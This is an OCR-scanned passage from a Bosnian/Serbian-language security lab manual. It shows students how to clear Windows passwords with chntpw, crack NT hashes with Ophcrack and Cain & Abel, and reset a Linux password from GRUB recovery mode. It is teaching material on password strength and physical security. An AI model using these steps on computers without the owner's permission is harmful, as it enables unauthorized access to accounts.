particije. Nude se i jo§ neke opcije koje su objasnjene i uglavnom nisu potrebne.
Kako je na racunaru pronadena samo jedna particija sa Windows instalacijom
ponudeno je da se izabere broj 1. I ovdje je potrebno prihvatiti ponudenu opciju
pritiskom na ”Enter”. Izgled ovog ekrana prikazan je na slici 3.1.

Slijedeci korak je izbor datoteke sa registrima. Podrazumijevana opcija je da
se izabere SAM datoteka u kojoj su pohranjene lozinke. Ostale ponudene opcije
uglavnom nisu potrebne za brisanje lozinki. Potrebno je pritisnuti ”Enter” da se
prihvati ponudena opcija. Izgled ovog ekrana prikazan je na slici 3.2.

Sada je potrebno izabrati da li se Zele mijenjati lozinke (i podaci o korisni-
cima), ispisati grupe korisnika ili uredivati unosi u registrima. Predlozenu opciju
jedan treba i ovdje izabrati pritiskom na ”Enter”. Izgled ovog ekrana prikazan je
na slici 3.3.

OWPRE sada ispise korisnicka imena svih korisnika Windows OS, uz infor-
maciju o tome da li su administratori, te da li su te korisnici zaklju¢ani. Na ovom
ekranu potrebno je izabrati za kog korisnika se zele mijenjati podaci. Na ra¢unaru
koji je koristen u ovom primjeru pronadena su cetiri korisnicka imena: Guest -
koji je zakljucan, Administrator - koji je takode zakljucan (jer se koristi drugo
korisnicko ime za administraciju racunara, ali u svakom slu¢aju mora biti bar
jedan nezakljuc¢an korisnik koji ima administratorske privilegije), student - koji
nije administrator i ¢ija je lozinka prazna (dodatna informacija koju je softver
otkrio i prikazao), te studentad - koji je administrator koji nije zakljucan i ¢ija
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Slika 3.1: OWPRE - Izbor partcije sa Windows instalacijom
Eelected 1
Mounting from sdevs/sda2, with file sgsten type HNTFS
50, let™s really check 1f it is HNTF
Yes, read- urlte seems OK.
Mounting it. This may take up to a few minutes

Success?t
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Slika 3.2: OWPRE - Izbor datoteke sa registrima
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{c) Petter H Hagen
> (\Sﬂste@ﬂoot Sgsten32}Confla\SnM}

* Subkey indexing tuype is; 666c (1f2
ez, containing 7 pages £+ 1 headerpage)
cks/ butes, unused £7928 blocks~ butes.

{¥========<{>» chntpw Main Interactive Menu {F====—====<{3>

Loaded hives: {(SAM>

1 - Edit user data and passwords

2 — List groups

9 - Registry editor now with full write support?

g — Quit (uyow will ke asked if there is something to save)

dhat to do? [11 -—-> _

Slika 3.3: OWPRE - Izbor uredivanja lozinki ili registara

lozinka nije prazna. Ponudena je opcija da se ureduju podaci o ovom korisniku
koji je aktivni administrator. I ovdje je dovoljno pritisnuti ”Enter” da se potvrdi
taj izbor. Izgled ovog ekrana prikazan je na slici 3.4.

c==== chntpw Edit Usexr Info & Passwords

i RID - i—-—————————- Username ———————————— H H
i B1f4 | Administratonr H
i B1f3 | Guest H
i B3e9 | student H
I B3e8 | studentad H
*lease enter wuser number (RID» or B to exit:

Slika 3.4: OWPRE - Izbor korisnika za izmjene

Nakon izbora korisnika ispisuju se osnovni podaci o korisniku. Nudi se neko-
liko opcija koje pokazuju moguénosti ovog softvera (odnosno moguénosti koje se
javljaju kad je moguée mijenjati Windows datoteku sa podacima o korisnicima
- SAM). Prva opcija je da se obrise lozinka za korisnika. Ta opcija ¢e i biti iz-
abrana nakon sto se opisu ostale. Druga opcija nudi da se otkljuca zakljuc¢ani
korisnik.#. Treéa opcija omoguéava da se obi¢ni korisnik promovige u adminis-
tratora®. Cetvrta i peta opcija omoguéavanje dodavanje i uklanjanje korisnika iz
neke od grupa. Ovim se korisniku mogu dodijeliti prava koja ranije nije imao. Kao
i na veéini izbornika postoji opcija da se odustane i vrati na prethodni izbornik.
Potrebno je izabrati prvu opciju unosom broja ”1” i pritiskom na ”Enter”. Izgled

4 Ta, opcija bi ovdje bila korisna za primijeniti za zlonamjernog napadaca koji ne zeli
biti otkriven na korisnickom imenu Administrator koje nema lozinku jer bi je bilo
teze primijetiti.

5 Takode korisna za zlonamjernog napadaca koji ne zeli biti otkriven.
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ovog ekrana prikazan je na slici 3.5.

IID I 188 [d3e

Isername: studentad

‘ullname:

romment o

wmedir

IBBBB220 - Administrators {(which has 2 memkers)

jccount bits: BxB@214 = R

1 Disabled 4 i L 1 Homedir eq. i [X¥] Passwd not reqg. H
. 1 Temp., duplicate : [X]1 Hormal account i [ 1 HME account H
.1 Domain trust ac | [ 1 Hks trust act. i L 1 Srv trust _act i
;X1 Pwd don’ t exslr i [ 1 Aauto lockout i [ 1 {unknown @x@8> H
01 funknown @xl1dd i L 1 {unknown @x2@) i L 1 {unknown 4@} :
Tailed login count: @ while max tries is a

[otal login count: 15

- — —- - User Edit_ Menu:

1 - Clear {(bhlank?} user password

2 - Unlock and enable user account) [seems unlocked alreadul

3 - Promote usexr (make usexr an administraton)

4 - Add user to a group

3 - Remowve user from a roup

g — Quit editing user, ack to user select

telect: C[Coqgl > 1_

Slika 3.5: OWPRE - Izbor izmjene na korisnickom ra¢unu

Kao rezultat ove akcije pojavi se poruke ”Password cleared!” i ponovo se
ponudi isti izbornik sa slike 3.5. Kako je ovo bila Zeljena operacija sada je potrebno
izabrati da se izade iz ovog izbornika unosenjem slova ”q” i pritiskom na ”Enter”.
Time se vraca na prethodni izbornik sa slike 3.4 iz kog treba izaci na isti nacin.
Sada se pojavljuje informacija o tome koji registri su izmijenjeni i upit da li se
izmjene Zele upisati na disk. Ovo znaci da se moze uraditi viSe izmjena za razlicite
korisnike pa onda sve te izmjene trajno spremiti u datoteku. Ponudena opcija je
da se ne upisuje, pa je potrebno unijeti slovo ”y” i kliknuti ”Enter” da bi se
definitivno obrisala lozinka izabranog korisnika (studentad). Izgled ovog ekrana
prikazan je na slici 3.6.

Ovim je proces brisanja lozinke zavrsen o ¢emu se ispiSe poruka "EDIT COM-
PLETE”. Softver nudi da se ponovo pokrene, $to nije neophodno, pa je dovoljno
pritisnuti ”Enter” (jer je ponudena opcija da se ne pokreée ponovo). Izgled ovog
ekrana prikazan je na slici 3.7.

Izvrsenje se nastavlja sa komandne linije. Sada je moguée unosti komande
ili ponovo pokrenuti ra¢unar pritiskom na ”Ctrl-Alt-Del”. Kako su napravljene
izmjene koje se zeljelo napraviti potrebno je pritisnuti ovu kombinaciju tipki i po-
novo pokrenuti racunar. Tokom pokretanja potrebno je izvaditi CD iz racunara
i omoguciti mu da pokrene Windows OS sa hard diska. Moguce je samo ugasiti
racunari ponovo ga upaliti (ali izvaditi CD prije pokretanja OS).
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- — — - Usexr_ Edit HMenu:
1 - Clear_ (bhlank) user password
2 — Unlock and enakbkle user account?)? [seems unlocked alreadul
3 - Promote user (make user an administrator)
4 - Add user to a group
3 — Remove user from a roup
g — Quit editing user, ack to user select
telect: [gl > 4
(2========£>» chntpw Main Interactive Menu {>=-=—=—=—=—===43
Loaded hives: {(SAM>
1 - Edit user data and passwords
2 — List groups
9 - Registry editonr now with full write support?
g — Quit {(youwu will be asked if theve is sSome hing to savel

dJhat to do? [11 -* g

{ives that have changed:
# Hame

a <{EAM:> - 0K

1tbhout to write filed(s» back? Do it? I[nl : u_

Slika 3.6: OWPRE - Upisivanje izmjena na disk

L y 5
or directory

LI

1b0O LEeLS T 1% nJl
iat' can’ t_open Stmpsdisk’ ! Ho such £il
ri

k¥ EDIT COMFPLETE s

fou can_ try again if it somehow failed, or you selected wrong
dew run? [nl T _

Slika 3.7: OWPRE - Zavrsetak rada

Nakon pokretanja Windows OS izabran je korisnik kom je izbrisana lozinka
(studentad) i bilo je mogude prijaviti se bez unosenja lozinke.

Offline Windows Password & Registry Editor je jednostavan alat koji dobro radi
svoju osnovnu namjenu i nudi neke dodatne moguénosti. Ovaj alat je autorov
prvi izbor za resetovanje izgubljene administratorske lozinke na Windows OS.

Upotrebom Live CD Ophcrack

Za potrebe pokazivanja u ovom materijalu na Windows 7 OS napravljena su jos
tri korisnika sa razlicitim kompleksnostima lozinki:

,haivni“ sa vrlo kratkom i jednostavnom lozinkom,;
,razumni“ sa lozinkom duzine tacno osam znakova koja bi trebala biti kvali-
tetna i upotrebljiva (moze se zapamtiti bez zapisivanja);
b
e  dugacki“ sa lozinkom velike duzine.

Studenti sami mogu napraviti lozinke zeljene kompleksnosti i time testirati koje
lozinke je lakse, a koje teze pogoditi.
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Rjesenje: Alat Ophcrack je namijenjen za pogadanje Windows lozinki. Bazi-
ran je na "duginim tabelama” (Rainbow tables) [35]. Ovdje je koristena verzija
koja se preuzima kao slika (image) CD-a i omoguéava pokretanje sa CD-a na
koji je snimljen. Za razliku od prethodnog alata ovaj alat ne mijenja datoteku sa
lozinkama veé¢ pokusava pogoditi lozinke na osnovu njihovih zapisa (hash) u toj
datoteci.

Ophcrack Live CD mogude je preuzeti sa lokacije:
http://ophcrack.sourceforge.net/

U vrijeme pisanja dostupne su bile tri verzije Live CD za preuzimanje. Njihovi
nazivi su XP LiveCD, Vista/7 LiveCD i LiveCD (without tables). Prva verzija
namijenjena je za pogadanje lozinki na osnovu starog nacina zapisivanja lozinki
na Windows operativnim sistemima (LM hash) koji se koristio na Windows OS
do verzije XP. Lozinke zapisan na ovaj nac¢in bilo je lakSe pogoditi, pa je iz tog
razloga u novijim verzijama OS Microsoft presao na sigurnije zapise. Druga ver-
zija namijenjena je za pogadanje lozinki na osnovu nacina zapisivanja lozinki na
novijim Windows OS (NT hash) koji se koristi na Windows OS od verzije 7°.
Vise detalja o LM i NT hash moze se pronaéi u [55]. Obje ove verzije na CD-u
ukljucuju tabele koje se koriste za pogadanje lozinki. Treca verzija je samo softver
bez tabela. Za koriStenje te verzije potrebno je posebno preuzeti tabele i u¢initi ih
dostupnim softveru prilikom pogadanja lozinki. Nacin na koji se ovo moze uraditi
bi¢e pomenut tokom prikaza upotrebe Ophcrack LiveCD.

U konkretnom primjeru izabrana je druga, Vista/7 verzija. Preuzeti image zapi-
san je na CD. Taj CD je ubacen u racunar na kom je instaliran Windows 7 OS ¢ije
lozinke se zele pogoditi. Ponovo je bilo potrebno osigurati da BIOS podesavanja
omogucéavaju pokretanje OS sa CD-a, prije nego sa hard diska.

Nakon pokretanja sa CD-a pojavljuje se ekran na kom se bira koja verzija Oph-
crack se zeli pokrenuti. Ponudene su tri graficke verzije (automatska, rucna i sa
malo RAM) i jedna tekstualna. Na tom ekranu moguce je dodati neke opcije za
pokretanje (boot) Linux kernela. Uglavnom je dovoljno samo pritisnuti ”Enter”.

Nakon toga pokreée se OS sa CD-a, te softver koji ostvaruje zeljenu funkcional-
nost. U prvom koraku ispisuju se svi korisnici OS i hash-evi njihovih lozinki
koji su pronadeni u SAM datoteci. Ophcrack odmah pokuSava sa pogodi lozinke
pretrazujuéi sve kombinacije iz relativno kratkog i ograni¢enog skupa znakova.

5 NT hash postojao je i u ranijim verzijama ali su se lozinke po inicijalnoj konfiguraciji
¢uvale 1 kao LM i kao NT hash. Od Windows Vista podrazumijevana opcija je da se
ne ¢uva LM hash.
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U ovom koraku se mogu pogoditi vrlo jednostavne i kratke lozinke. Izgled ovog
ekrana nakon prvog, jednostavnog, pokusaja pogadanja lozinki prikazan je na

slici 3.8.

Wednesday 29 April - 15:38

ophecrack

o=

Load Delete

! Save

W,

Tables

~Fe
@

Crack

Help

0o 4

Exit

Progress Statistics

Preferences

user I LM Hash

NT Hash

| tmpwd

LM Pwd 2

*disabled* A...
*disabled* ...
studentad
student

Naivni
Razumni
dugacki

31d6cfendl...
31d6cfeodl...

6364271ela...
eab4556003...
5835048ce8...
Obbfbds4sfc...

cf7771248b..,

empty

empty

not found
not found
not found
not found
not found

Directory

Status

Progress

Preload: Brute force: Pwd found: Time elapsed: | 0h 0m 14s I

Applications B sakura

Slika 3.8: Ophcrack - Lista korisnika i hash-eva

U slijede¢em koraku Ophcrak pokusava ucitati rainbow tabele sa CD-a sa kog
je 1 pokrenut. Ako ih uspije pronaéi proces pogadanja lozinki uz pomo¢ tabela
se nastavlja automatski, bez intervencije od strane korisnika. Ako Ophcrack ne
moze pronadi tabele onda je potrebno da korisnik izabere putanju do tabela zeli
koristiti za pogadanje. Ovo se postize klikom na dugme ” Tables” u gornjem redu
prozora, te klikom na dugme ”Install” u prozoru koji se otvori. Nakon toga se
otvori prozor koji omoguéava izbor lokacije na kojoj se nalaze tabele. Na slici 3.9
prikazan je izbor lokacije sa tabelama koja se nalazi na CD-u sa kog je pokrenut
Ophcrack. To su jedine tabele dostupne na ovoj, besplatnoj, verziji za Windows



60 3 VJEZBA: Provjera kvaliteta lozinki

Vista/7 OS.7

Wednesday 29 April - 15:39
ophcrack

Select the d ch contains the tables.

d . ;
Lock in: [E;‘mEdla;‘hdc;‘tables}v\sta_pruba_ﬁee |'] OO0 @ =

E. Computer
9 tux

Directory: [ ] . Choose
Files of type: [[HI";C(OI'\‘_‘S |v]

-l
Preload: done Brute force: [ done ] Pwd found: [ 217 ] Time elapsed: | 0h om 14s

Applications B sakura os(3) opherack

Slika 3.9: Ophcrack - Izbor rainbow tabela

Po izboru lokacije potrebno je kliknuti na dugme ”Choose”, te na dugme
7OK” na slijede¢em ekranu. Na glavnom ekranu na koji se sad vrati kontrola
potrebno je kliknuti na dugme ” Crack” u gornjem redu prozora. Time se pokrecée
proces ucitavanja tabela sa CD-a u RAM kako je prikazano na slici slici 3.10.

Po ucitavanju tabela u radnu memoriju pocinje pogadanje lozinki. Ovo
pogadanje moze trajati i duze vremena za veéi broj korisnika i kompleksnije
lozinke. U konkretnom slu¢aju Ophcrack je nakon skoro 49 minuta® uspio pogo-
diti tri lozinke od pet koje je pogadao, kako se vidi na slici 3.11.

7 U ovom koraku moguée je izabrati tabele sa nekog drugog medija (npr. USB). Druge
tabele su dostupne sa Ophcrack web stranice. Tabele se razlikuju po veli¢ini (380MB
do 2 TB) i shodno tome po duzini i kompleksnosti lozinki koje mogu pogoditi.

8 Lozinke koje su pronadene pogodene su za desetak minuta, a ostalo vrijeme bilo je
potroSeno za, neuspjeSan, pokusaj pogadanja preostale dvije lozinke.
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Wednesday 29 April - 15:40

ophecrack

v Q

U )
Load Delete Q Tabl Stop

)

Help

a

Exit

Progress | Statistics

user I LM Hash

NT Hash

LM Pwd 1

LM Pwd 2

*disabled* A...
*disabled* ...
studentad
student

Naivni
Razumni
dugacki

31d6cfendl...
31d6cfeodl...
6364271ela...
eab4556003 ...
5835048ce8. .,
oObbfbdg4sfc...
cf7771248b...

empty
empty

Table Directory

Status

Progress

- @ tabl...
“-@ tabl...

- @ Vista p... jfimedia/hde...
@ tabl.,

23% in RAM

67% in RAM

on disk

on disk

Preload: Brute force: Pwd found: Time elapsed: | Oh Om 58s I

Applications B sakura

Slika 3.10: Ophcrack - Ucitavanje rainbow tabela u radnu memoriju
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Pored pogadanja lozinki ova vjezba treba da posluzi kao indikator koje i kakve
lozinke je lakse pogoditi. U podpoglavlju 3.2 se pogadaju ove iste lozinke drugim
alatom i metodom pogadanja.

3.1.2 Na Linux OS

Koristenjem moguénosti boot loader-a

Ni Linux OS nije otporan na prijavljivanje bez poznavanje lozinke za korisnika
koji ima fizicki pristup ra¢unaru. Ova moguénost postoji iz prakti¢nih razloga da
omogudi vlasniku racunara koji je zaboravio lozinku da je moze promijeniti. Pro-
cedura da se ovo uradi je principijelno slicna za sve Linux distribucije, sa malim
razlikama za razlicite verzije. Ovdje ¢e biti pokazana procedura na Ubuntu 14.04.
Prvi korak je da se nakon paljenja racunara u boot loader izborniku, konkretno
je to ovdje Grub, izabere opcija koja omoguéava izmjenu lozinke. U konkretnom
primjeru to je opcija ” Advanced options for Ubuntu” kako je prikazano na slici

3.12.
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Wednesday 29 April - 14:52

ophcrack

D L 4

Load Delete Save

e
@

O

Help

W

Tables Crack

a

Exit

Progress Statistics

preferences

‘ user % | LM Hash

| nNTHash | impwd1

LM Pwd 2

*disabled* A...
*disabled* ...
studentad
student

Naivni
Razumni
dugacki

31d6cfendl...
31d6cfendl. .
6364271ela...
eab4556003. .
5835048ce9...
obbfbde4sfc...
cf7771248b...

empty
empty
Pass1234
student
passwordl
not found
neot found

Directory

Status

Progress

iimediajhde...

100% in RAM

100% in RAM
100% in RAM
100% in RAM

Prelead: Brute force: Pwd found: Time elapsed: | Oh 48m S51s

Applications B sakura

osophcrack

Slika 3.11: Ophcrack - Rezultat pogadanja lozinki

Time se dolazi do drugog GRUB izbornika gdje je potrebno izabrati opciju
koja na kraju naziva ima ” (recovery mode)” kao na slici 3.13.

Na slijede¢em izborniku potrebno je izabrati opciju "root” koja omogucava
pristup komandnoj liniji kao privilegovani (root) korisnik, kao na slici 3.14.

Nakon izbora ove opcije, pritiskom na ”Enter”, moguce je unositi komande
koje ée omoguditi promjenu lozinke za bilo kog korisnika. Da bi promjena lozinke
bila moguéa potrebno je da datoteéni sistem bude mount-an tako da se na njega
moze i pisati. Da bi se ovo postiglo potrebno je ukucati komandu:
mount -rw -o remount /

Sada je moguce promijeniti lozinku za bilo kog korisnika. Listu korisnika moguce
je dobiti komandom:
1ls /home

Privilegovani korisnik na Ubuntu je korisnik koji je u sudo grupi. Koji je od
izlistanih korisnika u grupi sudo moze se provjeriti komandom:
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GMU GRUB wersion 2.02%betaZ-gubuntul

vanced options for Ubuntu
Memory test (memtest8a+)
Memory test (memtestd6+, serial console 115200)

Use the T and | keys to select which entry iz highlighted.
Press enter to buo‘\t the selected 05, "e' to edit the commands

hefore booting or c' for a command-line.

Slika 3.12: Izbor GRUB opcije ” Advanced”

grep sudo /etc/group

Promjenu lozinke za bilo kog korisnika mogucée je uraditi pozivom komande
passwd kojoj se kao parametar unese ime korisnika ¢ija se lozinka zeli promi-
jeniti. Ovdje se zeli promijeniti lozinka za korisnika sasa $to se moze uraditi
unosom komande:

passwd sasa

Nakon toga potrebno je unijeti novu lozinku dva puta.

Sada je jos potrebno ponovo pokrenuti operativni sistem komandom:
reboot

Da bi proces promjene lozinke bio okoncan. Kada se operativni sistem Ubuntu
ponovo pokrene moguce je prijaviti sa izmijenjenom lozinkom. Na slici 3.15. pri-
kazan je unos navedenih komandi.
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GMU GRUB wersion 2.02%betaZ-gubuntul

with Lin :
Ubuntu, with Linux 3.13.0-32-generic
Ubuntu, with Linux 3.13.0-32-generic (recovery mode)

Usze the T and | keys to select which entry is highlighted.
Fress enter to boot the selected 0%, &' to edit the commands

before booting ar "c' for & command-line. ESC to return previous
MerL .

Slika 3.13: Izbor GRUB opcije ” (recovery mode)”

Recovery Menu (filesystem state: read-only)

resume Resume normal boot

clean Try to make free space

dokg Repair broken packages
failsafex Run in failsafe graphic mode
fsck Check all file systiems

grub Update grub bootloader

network Enable networking
Orop to rogt 7
system-summary System summary

Slika 3.14: Izbor ”root” opcije
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failsafex Run in failsafe graphic mode
fsck Check all file systems

grub Update grub bootloader
network Enahle networking

ODrop to root s
System summary

system-summary

root@lbuntu-1404-YB: ™% mount -o rw -o remount
root@Ubuntu-1404-YB:"# 15 Shome

root@Ubuntu-1404-YB:™# grep sudo setc/groun
sudo:x:27:5asa

root@lbuntu-1404-vB: "% passwd sasa

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully
root@lbuntu-1404-YB: ™% reboot

Slika 3.15: Komande za promjenu korisnicke lozinke na Ubuntu

Iz ovog procesa se, izmedu ostalog, vidi da je fizicka sigurnost ra¢unara jed-
nako vazna i na Linux OS kao §to je i na Windows.

3.2 Pogadanje Windows lozinki alatom Cain € Abel

Upotrebom programa Cain (iz programskog paketa Cain & Abel), pod prijavom
kao privilegovani korisnik, potrebno je pokusati otkriti lozinke drugih korisnika
tog Windows OS na rac¢unaru.

Lozinke je potrebno pokusati pogoditi koriste¢i tri metoda:

pretrazivanjem svih kombinacija (Brute force);
koristenjem "rjecnika” (Dictionary);
koristenjem metoda ”duginih tabela” (Rainbow tables).

Potrebno je uporediti i prokomentarisati ova tri metoda.

Rjesenje:Softver Cain & Abel izvrsava se na Windows OS i omogucava otkrivanje
razli¢itih vrsta lozinki. Ovdje ¢e biti pokazana samo njegova upotreba za otkri-
vanje lozinki korisnika Windows OS. Za ostale namjene i detaljnija objasnjenja
najbolje je krenuti od korisnickih uputa [29]. Ovaj softver je besplatan, ali nije
otvorenog koda (Open Source).
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Cain & Abel se moze preuzeti sa lokacije:
http://www.oxid.it/cain.html

Dostupne su verzije za Windows 9x i novije verzije Windows?. Verzija koja je
koristena je 4.9.56, najnovija u vrijeme pisanja.

Po preuzimanju datoteke ca_setup.exe potrebno ju je pokrenuti. Kao i kod svake
instalacije na Windows 7 potrebno je potvrditi saglasnost sa instalacijom (odo-
briti upotrebu administratorskih prava preko UAC). Nakon toga slijedi klasi¢na
instalacija Windows softvera tokom koje je potrebno potvrditi pokretanje ins-
talacije, pogledati ugovor o licenciranju, izabrati lokaciju za instalaciju, izabrati
Program Manager grupu, te pokrenuti samu instalaciju. U konkretnom slu¢aju
na svakom prozoru je bilo kliknuto na dugme ”Next>". Instalacija traje kratko i
pojavljuje se prozor sa obavjeStenjem o zavrSetku instalacije.

Po potvrdivanju ovog obavjestenja pojavljuje se obavjestenje o potrebi da se ins-
talira upravljacki program (driver) za WinPcap program koji se instalira zajedno
sa Cain & Abel. Tako za funkcionalnost koja se ovdje pokazuje nije neophodno,
preporucuje se instalacija radi drugih upotreba ovog softvera. Nakon prihvatanja
prolazi se kroz proces instalacije WinPcap softvera verzije koje je isporucena uz
Cain & Abel, u konkretnom sluc¢aju 4.1.3. Instalacija o¢ekuje prihvatanje ugovora
o koristenju. U sluc¢aju da instalacije pronade instaliranu stariju verziju WinPcap
ponudice da je ukloni, §to treba uraditi. Nakon uklanjanja stare verzije WinPcap
instalacija se nastavlja i zavrsava uz obavjeStenje o zavrSetku. Ako se na opera-
tivnom sistemu otkrije da postoji WinPcap verzija identi¢na onoj koja dolazi sa
Cain & Abel korisnik se upozorava o tome i nudi mu se da odustane od instalacije
WinPcap §to treba i uciniti. Nakon ove procedure Cain & Abel je instaliran na
racunaru.

Nakon pokretanja Cain-a, ako je Windows firewall aktivan, pojavi se upozorenje
o tome i da neke od Cain funkcija neée ispravno funkcionisati. U ovom slucaju
upotrebe, pogadanje lozinki, to ne predstavlja smetnju, za ostale slu¢ajeve po-
trebno je konsultovati korisnicko uputstvo [29]. Pocetni prozor Cain-a prikazan
je na slici 3.16.

Za pogadanje lozinki potrebno je kliknuti na tab ” Cracker” (sa sli¢icom kljuca
ispred teksta). U lijevom dijelu prozora, nakon toga, se pojavi lista razli¢itih
vrsta zapisa lozinki koje je moguée pogadati. Lista ima preko 20 stavki. Ovdje
¢e se koristiti prva stavka namijenjena za pogadanje Windows lozinki na osnovu

9 Na stranici pige da je ovo verzija za NT/2000/XP, ali se moze osposobiti da radi i na
novijim verzijama Windows 7 i 8.
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File View Cenfigure Tools Help
AR S RHEBHE |+ BRVDMEBMN20%E | O 2 0
‘& Decoders |§ Network Iﬂ? Sniffer |@f’ Cracker |Q Traceroute |M Ccou I[(b"] Wireless I&) Query |

¥, Cached Passwords
Q Protected Storage Press the + button on the toolbar to dump the Protected Storage
g LSA Secrets

2% Wireless Passwords

e [E7/8/9 Passwords
I‘_‘}J Windows Mail Passwords
@ Dialup Passwords
--[== Edit Boxes

“# Enterprise Manager
- ® Credential Manager
-JEH Windows Vault

« i D

@ Protected Storage
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Slika 3.16: Cain - pocetni prozor

njihovog LM ili NT hash zapisa. Prvi korak je dobavljanje ovih zapisa lozinki.
Klikom na ikonu ”+” (sa menija iznad tabova) otvara se prozor za ulitavanje
hash-eva Windows lozinki prikazan na slici 3.17.

Hash-eve Windows lozinki moguce je ucitati sa Windows OS na kom se Cain
izvrSava, te iz tekstualne datoteke ili SAM baze podataka. Ranije je re¢eno da
Windows OS sprecava pristup svojoj SAM datoteci, pa ne bi trebalo biti moguce
ucitati hash-eve sa Windows na kom se Cain izvrsava. Medutim, Cain uspijeva
zaobiéi ovu zastitu. Za to koristi svoju funkciju NT Hashes Dumper, koja je po-
zvana prethodnim klikom na ikonu ”+”". 10 Hash-evi Windows lozinki sa drugih
sistema mogu biti dostupni ako su dobavljeni upotrebom Cain-a ili nekog drugog

10 Cain NT Hashes Dumper koristi tehniku DLL injection da bi pokrenuo nit (thread)
u istom sigurnosnom kontekstu kao i LSAS (Local Security Authority Subsystem)
proces. Za to su potrebne privilegija koje ima Windows OS Administrator, pa je, za
ovu namjenu, neophodno pokretati Cain pod prijavom korisnika sa administratorskim
pravima. Postoje i drugi razli¢iti samostalni programi koji nude ovu moguénost i
uglavnom se nazivaju pwdump (pwdump2 za novije verzije). Cain koristi isti pristup
kao pwdump?2 ¢iji je autor Todd Sabin.
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=)= ==
SR EOHEBEY |+ B RVDEBEE0%HE @7 0
|¢% Decoders |§ Network M‘i} Sniffer |@f’ Cracker |@ Traceroute |Im Ccou |“H’] Wireless |$) Query |
i Cracker » | User Name [ 10 Dacowmed | <2 [ NT Dacowned [ 10 Hash | T Hash challen
4 LM & NTLM HasH Add NT Hashes from @
- MNTLMw2 Hashes (|
; M- Cache Hashed % Impart Hashes fram logal system
&&, PWLfiles (0) [ Inchide Passward History Hashes

-.JH Cisco105-MDS H
- JH Cisco PLX-MD5 Hi
-5l APOP-MDS Hashi |

& CRAM-MDS Hash = o
.. OSPF-MDS Hashe mport Hashes fram a SAM database
.+ RIPV2-MDS5 Hashe
& VRRP-HMAC Has |
VNC-2DES (0
M8 W02 Hashes {0)
nd W04 Hashes (0)
md }A05 Hashe (0)
5% SHA-1 Hashes (0) Cercel
.48 SHA-2 Hashes (0)
R RIPEMD-160 Hast
{5} Kerb5 PreAuth Ha
% Radius Shared-Ke

" Import Hashes from a text file

Slika 3.17: Cain - ucitavanje hash-eva lozinki

alata za tu namjenu (poput pwdump). SAM baza podataka moze biti dostupna u
obliku SAM datoteke koja je preuzeta sa Windows OS putem pokretanja drugog
OS na istom rac¢unaru, kako je ranije objasnjeno.

Ovdje ¢ée hash-evi lozinki biti u¢itani sa Windows OS na kom se Cain izvrsava
oznadavanjem opcije ”Import hashes from local system”.!! Dalja procedura
pogadanja lozinki na osnovu dostupnih hash-eva ista je i ne zavisi od toga da
li su to hash-evi sa lokalnog ili drugog Windows OS. Klikon na dugme ”Next>"
uCitavaju se hash-evi i vra¢a se na osnovni Cain prozor prikazan na slici 3.18.

Sa slike 3.18 se moze vidjeti da se ne koriste LM ve¢ NT hash-evi. Da bi
se pokrenuo proces pogadanja lozinki potrebno je oznaciti korisnike za koje se
zeli pogoditi lozinka. klikom na desno dugme misSa otvara se izbornik sa koga

11 Oznagavanjem opcije "Include Password History Hashes” omoguéava se ucitavanje
hash-eva ranijih lozinki ako su dostupni. Ovi hash-evi mogu biti dostupni ako je
na Windows aktivirana politika koja sprecava upotrebu nekoliko prethodnih lozinki
prilikom biranja nove lozinke
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File View Cenfigure Tools Help
SR HEBHY 4y B s um 0% 0 i
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Slika 3.18: Cain - lista ucitanih hash-eva lozinki

je moguce izabrati jedan od tri metoda pogadanja lozinki. Upotreba svake od
metoda opisana je u nastavku.

3.2.1 Pretrazivanjem svih kombinacija (brute force)

Izabrani su korisnici koji imaju lozinke. Sa izbornika koji se pojavi nakon klika
na desno dugme misa izabrano je ”Brute-Force Attack -> NTLM Hashes”. Na-
kon toga pojavi se prozor za izbor opcija i pokretanje pogadanja lozinki pre-
trazivanjem svih kombinacija kao na slici 3.19.

Pretrazivanje svih kombinacija pokusava pogoditi lozinku kombinujuéi sve
znakove iz zadanog skupa znakova unutar zadane duzine lozinke. Pogadanje se
sastoji od hash-iranja pretpostavljene lozinke i poredenja tog hash sa onim koji
su dostupni. Ako su isti, lozinka za korisnika ¢iji je to hash je pogodena. Ako nisu
isti, isprobava se slijede¢a kombinacija. Skup znakova od kojih se pretpostavljeno
sastoji lozinka moze se birati iz skupova predefinisanih znakova (opcije ”Predefi-

ned”) koji se sastoje od samo slova engleskog alfabeta (malih, velikih, svih), samo
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Brute-Force Attack @
Charzet Pazzward length
y ’—_|1 =
* Predefined it =1
|abcdefghiiklmnopqlstuvm_l,lz[ﬂ 23406789 j Max |16 g
" Cugtom Start fram
Keyspace Current passwaord

8.1560514273734411E+024

Key Rate Time Left

5 hashesz of type HTLH loaded. ..
FPresz= the Start button to begin brute-force attack

E it

Slika 3.19: Cain - opcije za Brute-Force pogadanje lozinki

cifara, te kombinacija ova dva skupa koji moze biti proSiren specijalnim znako-
vima. Moguce je i definisati sopstveni skup znakova koji moze ukljucivati i slova
koja nisu engleska kao i druge znakove. Minimalna i maksimalna pretpostavljena
duzina lozinki se bira opcijom ”Password length”. U zavisnosti od veli¢ine iza-
branog skupa znakova i pretpostavljene duzine lozinke mijenja se broj moguéih
kombinacija koje treba isprobati. Teoretski bi na ovaj nacin trebalo biti moguce
pogoditi bilo koju lozinku. U praksi ovaj proces jos uvijek predugo traje da bi bio
upotrebljiv za duze i komplikovanije lozinke. Konkretno kad se izabere najveci od
predefinisanih skupova znakova koji ukljuc¢uje mala i velika engleska slova, cifre
i specijalne znakove i duzina lozinki od jednog do 16 znakova broj kombinacija
je 3,72x103. Na racunaru na kom je vrieno testiranje, Cain je procijenio da mu
je potrebno 107 godina da isproba sve kombinacije. Taj period je oc¢igledno pre-
dugacak za prakticnu upotrebu. Bolji racunari ubrzavaju ovaj proces, ali se jos
uvijek vrijeme mjeri u velikom broju godina. Ova ¢injenica ukazuje da je bira-
nje duze lozinke sa razlicitim vrstama znakova najbolja zastita od pogadanja.
Pogadanje lozinke koja se sastoji od samo malih slova i ¢ija je duzina do osam



znakova traje oko Sest sati, Sto je ve¢ vrijem koje je prakticno. Pogadanje istih
lozinki upotrebom Live CD Ophcrack koji se oslanja na dugine tabele tokom kog
su pogodene tri lozinke (jedna od sedam malih slova, jedna od malih slova i cifara
duzine devet i jedna od velikih i malih slova i cifara duzine osam) trajalo je 49
minuta. Radi prezentacije rada i uporedbe sa tom metodom izbrane su opcije koje
¢e omoguciti pogadanje te tri iste lozinke (a mozda i preostale dvije, to ostaje da
